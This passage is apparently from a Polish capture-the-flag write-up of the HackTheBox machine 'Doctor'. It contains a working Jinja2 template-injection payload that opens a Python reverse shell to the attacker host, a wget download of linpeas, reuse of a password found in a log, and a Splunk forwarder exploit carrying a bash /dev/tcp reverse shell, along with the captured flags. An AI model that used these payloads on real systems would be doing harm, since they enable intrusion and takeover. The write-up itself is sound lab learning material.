'sqlalchemy.engine.interfaces.Connectable'>, <class 'sqlalchemy.engine.interfaces.ExceptionContext'>, <class 'sqlalchemy.interfaces.PoolListener'>, <class 'sqlalchemy.interfaces.ConnectionProxy'>, <class 'sqlalchemy.log.Identified'>, <class 'sqlalchemy.log.InstanceLogger'>, <class 'sqlalchemy.log.echo_property'>, <class 'sqlalchemy.engine.base.Transaction'>, <class 'sqlalchemy.engine.base.Engine._trans_ctx'>, <class 'sqlalchemy.engine.url.URL'>, <class 'sqlalchemy.pool.base._ConnDialect'>, <class 'sqlalchemy.pool.base._ConnectionRecord'>, <class 'sqlalchemy.pool.base._ConnectionFairy'>, <class 'sqlalchemy.util.queue.Queue'>, <class 'sqlalchemy.pool.dbapi_proxy._DBProxy'>, <class 'sqlalchemy.engine.strategies.EngineStrategy'>, <class 'sqlalchemy.cresultproxy.BaseRowProxy'>, <class 'sqlalchemy.engine.result.ResultMetaData'>, <class 'sqlalchemy.engine.result.ResultProxy'>, <class 'sqlalchemy.sql.naming.ConventionDict'>, <class 'sqlalchemy.engine.reflection.Inspector'>, <class 'sqlalchemy.engine.default._RendersLiteral'>, <class 'sqlalchemy.orm.base.InspectionAttr'>, <class 'sqlalchemy.orm.base._MappedAttribute'>, <class 'sqlalchemy.orm.collections._PlainColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableColumnGetter'>, <class 'sqlalchemy.orm.collections._SerializableAttrGetter'>, <class 'sqlalchemy.orm.collections.collection'>, <class 'sqlalchemy.orm.collections.CollectionAdapter'>, <class 'sqlalchemy.orm.path_registry.PathRegistry'>, <class 'sqlalchemy.orm.interfaces.MapperOption'>, <class 'sqlalchemy.orm.interfaces.LoaderStrategy'>, <class 'sqlalchemy.orm.attributes.Event'>, <class 'sqlalchemy.orm.attributes.AttributeImpl'>, <class 'sqlalchemy.orm.state.AttributeState'>, <class 'sqlalchemy.orm.state.PendingCollection'>, <class 'sqlalchemy.orm.instrumentation._SerializeManager'>, <class 'sqlalchemy.orm.instrumentation.InstrumentationFactory'>, <class 'sqlalchemy.orm.util.AliasedClass'>, <class 'sqlalchemy.orm.strategy_options.loader_option'>, <class 'sqlalchemy.orm.loading.PostLoad'>, <class 'sqlalchemy.orm.deprecated_interfaces.MapperExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.SessionExtension'>, <class 'sqlalchemy.orm.deprecated_interfaces.AttributeExtension'>, <class 'sqlalchemy.orm.evaluator.EvaluatorCompiler'>, <class 'sqlalchemy.orm.persistence.BulkUD'>, <class 'sqlalchemy.orm.query.Query'>, <class 'sqlalchemy.orm.query._QueryEntity'>, <class 'sqlalchemy.orm.query.QueryContext'>, <class 'sqlalchemy.orm.unitofwork.UOWTransaction'>, <class 'sqlalchemy.orm.unitofwork.IterateMappersMixin'>, <class 'sqlalchemy.orm.unitofwork.PostSortRec'>, <class 'sqlalchemy.orm.dependency.DependencyProcessor'>, <class 'sqlalchemy.orm.relationships.JoinCondition'>, <class 'sqlalchemy.orm.relationships._ColInAnnotations'>, <class 'sqlalchemy.orm.identity.IdentityMap'>, <class 'sqlalchemy.orm.session._SessionClassMethods'>, <class 'sqlalchemy.orm.session.SessionTransaction'>, <class 'sqlalchemy.orm.scoping.scoped_session'>, <class 'sqlalchemy.orm.strategies.LoadDeferredColumns'>, <class 'sqlalchemy.orm.strategies.LoadLazyAttribute'>, <class 'sqlalchemy.orm.strategies.SubqueryLoader._SubqCollections'>, <class 'sqlalchemy.orm.dynamic.AppenderMixin'>, <class 'sqlalchemy.orm.dynamic.CollectionHistory'>, <class 'sqlalchemy.orm.events._InstrumentationEventsHold'>, <class 'sqlalchemy.orm.events._EventsHold.HoldEvents'>, <class 'sqlalchemy.ext.baked.Bakery'>, <class 'sqlalchemy.ext.baked.BakedQuery'>, <class 'sqlalchemy.ext.baked.Result'>, <class 'sqlalchemy.ext.declarative.clsregistry._MultipleClassMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModuleMarker'>, <class 'sqlalchemy.ext.declarative.clsregistry._ModNS'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetColumns'>, <class 'sqlalchemy.ext.declarative.clsregistry._GetTable'>, <class 'sqlalchemy.ext.declarative.clsregistry._class_resolver'>, <class 'sqlalchemy.ext.declarative.base._MapperConfig'>, <class 'sqlalchemy.ext.declarative.api.ConcreteBase'>, <class 'sqlalchemy.ext.declarative.api.DeferredReflection'>, <class 'flask_sqlalchemy.model.Model'>, <class 'flask_sqlalchemy._SessionSignalEvents'>, <class 'flask_sqlalchemy._EngineDebuggingSignalEvents'>, <class 'flask_sqlalchemy.Pagination'>, <class 'flask_sqlalchemy._QueryProperty'>, <class 'flask_sqlalchemy._EngineConnector'>, <class 'flask_sqlalchemy._SQLAlchemyState'>, <class 'flask_sqlalchemy.SQLAlchemy'>, <class 'six._LazyDescr'>, <class 'six._SixMetaPathImporter'>, <class '_cffi_backend.CLibrary'>, <class '_cffi_backend.CType'>, <class '_cffi_backend.CField'>, <class '_cffi_backend._CDataBase'>, <class '_cffi_backend.__CData_iterator'>, <class '_cffi_backend.buffer'>, <class '_cffi_backend.FFI'>, <class '_cffi_backend.Lib'>, <class '_cffi_backend.__FFIGlobSupport'>, <class 'flask_bcrypt.Bcrypt'>, <class 'flask_login.mixins.UserMixin'>, <class 'flask_login.mixins.AnonymousUserMixin'>, <class 'flask_login.login_manager.LoginManager'>, <class 'shlex.shlex'>, <class 'click.testing.EchoingStdin'>, <class 'click.testing.Result'>, <class 'click.testing.CliRunner'>, <class 'email.generator.Generator'>, <class 'smtplib.SMTP'>, <class 'email.headerregistry.Address'>, <class 'email.headerregistry.Group'>, <class 'email.headerregistry.UnstructuredHeader'>, <class 'email.headerregistry.DateHeader'>, <class 'email.headerregistry.AddressHeader'>, <class 'email.headerregistry.MIMEVersionHeader'>, <class 'email.headerregistry.ParameterizedMIMEHeader'>, <class 'email.headerregistry.ContentTransferEncodingHeader'>, <class 'email.headerregistry.MessageIDHeader'>, <class 'email.headerregistry.HeaderRegistry'>, <class 'email.contentmanager.ContentManager'>, <class 'flask_mail.Connection'>, <class 'flask_mail.Attachment'>, <class 'flask_mail.Message'>, <class 'flask_mail._MailMixin'>, <class 'flaskblog.config.Config'>, <class 'unicodedata.UCD'>, <class 'dns.name.IDNACodec'>, <class 'dns.name.Name'>, <class 'dns.wire.Parser'>, <class 'dns.edns.Option'>, <class 'dns.entropy.EntropyPool'>, <class 'dns.tokenizer.Token'>, <class 'dns.tokenizer.Tokenizer'>, <class 'dns.rdata.Rdata'>, <class 'dns.set.Set'>, <class 'dns.tsig.Key'>, <class 'dns.renderer.Renderer'>, <class 'dns.message.Message'>, <class 'dns.message._WireReader'>, <class 'dns.message._TextReader'>, <class 'dns.serial.Serial'>, <class '_queue.SimpleQueue'>, <class 'queue.Queue'>, <class 'queue._PySimpleQueue'>, <class 'urllib3.util.timeout.Timeout'>, <class 'urllib3.util.retry.Retry'>, <class 'urllib3.connection.DummyConnection'>, <class 'urllib3.connection.HTTPConnection'>, <class 'urllib3.fields.RequestField'>, <class 'urllib3.request.RequestMethods'>, <class 'urllib3.response.DeflateDecoder'>, <class 'urllib3.response.GzipDecoderState'>, <class 'urllib3.response.GzipDecoder'>, <class 'urllib3.response.MultiDecoder'>, <class 'urllib3.connectionpool.ConnectionPool'>, <class 'chardet.enums.InputState'>, <class 'chardet.enums.LanguageFilter'>, <class 'chardet.enums.ProbingState'>, <class 'chardet.enums.MachineState'>, <class 'chardet.enums.SequenceLikelihood'>, <class 'chardet.enums.CharacterCategory'>, <class 'chardet.charsetprober.CharSetProber'>, <class 'chardet.codingstatemachine.CodingStateMachine'>, <class 'chardet.chardistribution.CharDistributionAnalysis'>, <class 'chardet.jpcntx.JapaneseContextAnalysis'>, <class 'chardet.universaldetector.UniversalDetector'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'requests.cookies.MockRequest'>, <class 'requests.cookies.MockResponse'>, <class 'requests.auth.AuthBase'>, <class 'requests.models.RequestEncodingMixin'>, <class 'requests.models.RequestHooksMixin'>, <class 'requests.models.Response'>, <class 'requests.adapters.BaseAdapter'>, <class 'requests.sessions.SessionRedirectMixin'>, <class 'dns.resolver.Answer'>, <class 'dns.resolver.Cache'>, <class 'dns.resolver.LRUCacheNode'>, <class 'dns.resolver.LRUCache'>, <class 'dns.resolver._Resolution'>, <class 'dns.resolver.Resolver'>, <class 'email_validator.ValidatedEmail'>, <class 'ipaddress._IPAddressBase'>, <class 'ipaddress._BaseV4'>, <class 'ipaddress._IPv4Constants'>, <class 'ipaddress._BaseV6'>, <class 'ipaddress._IPv6Constants'>, <class 'wtforms.validators.EqualTo'>, <class 'wtforms.validators.Length'>, <class 'wtforms.validators.NumberRange'>, <class 'wtforms.validators.Optional'>, <class 'wtforms.validators.DataRequired'>, <class 'wtforms.validators.InputRequired'>, <class 'wtforms.validators.Regexp'>, <class 'wtforms.validators.Email'>, <class 'wtforms.validators.IPAddress'>, <class 'wtforms.validators.UUID'>, <class 'wtforms.validators.AnyOf'>, <class 'wtforms.validators.NoneOf'>, <class 'wtforms.validators.HostnameValidation'>, <class 'wtforms.widgets.core.ListWidget'>, <class 'wtforms.widgets.core.TableWidget'>, <class 'wtforms.widgets.core.Input'>, <class 'wtforms.widgets.core.TextArea'>, <class 'wtforms.widgets.core.Select'>, <class 'wtforms.widgets.core.Option'>, <class 'wtforms.i18n.DefaultTranslations'>, <class 'wtforms.i18n.DummyTranslations'>, <class 'wtforms.utils.UnsetValue'>, <class 'wtforms.utils.WebobInputWrapper'>, <class 'wtforms.fields.core.Field'>, <class 'wtforms.fields.core.UnboundField'>, <class 'wtforms.fields.core.Flags'>, <class 'wtforms.fields.core.Label'>, <class 'wtforms.meta.DefaultMeta'>, <class 'wtforms.form.BaseForm'>, <class 'wtforms.csrf.core.CSRF'>, <class 'flask_wtf.csrf.CSRFProtect'>, <class 'flask_wtf.recaptcha.widgets.RecaptchaWidget'>, <class 'flask_wtf.recaptcha.validators.Recaptcha'>, <class 'flask_wtf.file.FileAllowed'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'magic.Magic'>, <class 'flaskblog.users.forms.RegistrationForm.Meta'>, <class 'flaskblog.users.forms.LoginForm.Meta'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'PIL.ImageMode.ModeDescriptor'>, <class 'PIL._util.deferred_error'>, <class 'ImagingCore'>, <class 'ImagingFont'>, <class 'ImagingDraw'>, <class 'PixelAccess'>, <class 'cffi.model.BaseTypeByIdentity'>, <class 'cffi.api.FFI'>, <class 'PIL.Image._E'>, <class 'PIL.Image.Image'>, <class 'PIL.Image.ImagePointHandler'>, <class 'PIL.Image.ImageTransformHandler'>, <class 'flaskblog.posts.forms.PostForm.Meta'>, <class 'jinja2.ext.Extension'>, <class 'jinja2.ext._CommentFinder'>, <class 'sqlalchemy.dialects.sqlite.json._FormatTypeMixin'>, <class 'sqlalchemy.dialects.sqlite.base._DateTimeMixin'>, <class 'sqlite3.Row'>, <class 'sqlite3.Cursor'>, <class 'sqlite3.Connection'>, <class 'sqlite3Node'>, <class 'sqlite3.Cache'>, <class 'sqlite3.Statement'>, <class 'sqlite3.PrepareProtocol'>]

Analizujac odpowiedź dowiedziałem się, że wykorzystanym silnikiem szablonów jest Jinja2, który współpracuje z frameworkiem Flask.

Zauważyłem również, że w zwróconej kolekcji interesująca mnie funkcja popen znajduje się pod indeksem 407.

Uruchomiłem narzędzie netcat:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

i przesłałem żądanie:

Request:    {{ ''.__class__.__mro__[1].__subclasses__()[407](["python3", "-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.53',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])"]) }}
Response:   <subprocess.Popen object at 0x7f41f0c790a0>

Dostałem w ten sposób dostęp do shella:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.209] 37238
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
$ pwd
/home/web

5. Eskalacja uprawnień: web ⇨ shaun

Zgodnie z dobrą praktyką wykonałem upgrade shella:

SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm

Sprawdziłem listę użytkowników:

web@doctor:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
web:x:1001:1001:,,,:/home/web:/bin/bash
...
shaun:x:1002:1002:shaun,,,:/home/shaun:/bin/bash
splunk:x:1003:1003:Splunk Server:/opt/splunkforwarder:/bin/bash

Pobrałem narzędzie linepeas.sh…

web@doctor:/dev/shm$ wget http://10.10.14.53:8000/linpeas.sh
--2020-11-08 12:29:32--  http://10.10.14.53:8000/linpeas.sh
Connecting to 10.10.14.53:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 225652 (220K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 220,36K   828KB/s    in 0,3s    

2020-11-08 12:29:32 (828 KB/s) - ‘linpeas.sh’ saved [225652/225652]

…i od razu je uruchomiłem:

web@doctor:/dev/shm$ chmod +x linpeas.sh 
web@doctor:/dev/shm$ ./linpeas.sh 

Na standardowym wyjściu znalazłem informację o logu:

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

Postanowiłem sprawdzić czy Guitar123 to nie jest omyłkowo wpisane hasło jednego z użytkowników (jako nazwa użytkownika):

web@doctor:~$ su shaun      
Password: 
shaun@doctor:/home/web$ cd ~    
shaun@doctor:~$ cat user.txt 
ecf6fde23de9af7544241c9b732e8c9a

Pozyskałem zatem flagę oraz zestaw danych uwierzytelniających shaun:Guitar123

6. Eskalacja uprawnień: shaun ⇨ root

Ten sam zestaw danych uwierzytelniających pozwolił na uwierzytelnienie się przy dostępie do zasobu https://10.10.10.209:8089/services:

Doctor splunk services

W ten sposób uzyskałem dostęp do kolejnej podstrony:

Doctor splunk services

Następnie pobrałem narzędzie PySplunkWhisperer2.

Przygotowałem narzędzie netcat:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor/SplunkWhisperer2]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...

i uruchomiłem PySplunkWhisperer2_remote.py:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor/SplunkWhisperer2/PySplunkWhisperer2]
└──╼ $python3 PySplunkWhisperer2_remote.py --host $IP --port 8089 --lhost 10.10.14.53 --lport 8183 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.53/4444 0>&1'"

Pozostało odczytać flagę:

┌─[✗]─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Doctor/SplunkWhisperer2]
└──╼ $nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.209] 56422
bash: cannot set terminal process group (1136): Inappropriate ioctl for device
bash: no job control in this shell
root@doctor:/# cat /root/root.txt
cat /root/root.txt
47510b116c91379d2cda35fe5bc3578a

7. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności:

Autor narzędzia PySplunkWhisperer2 (Clément Notin) na swoim blogu przedstawił środki zaradcze pozwalające utwardzić konfigurację Splunk Universal Forwarder. Jeżeli korzystasz z tego rozwiązania, zastanów się czy nie potrzebujesz ich wdrożyć.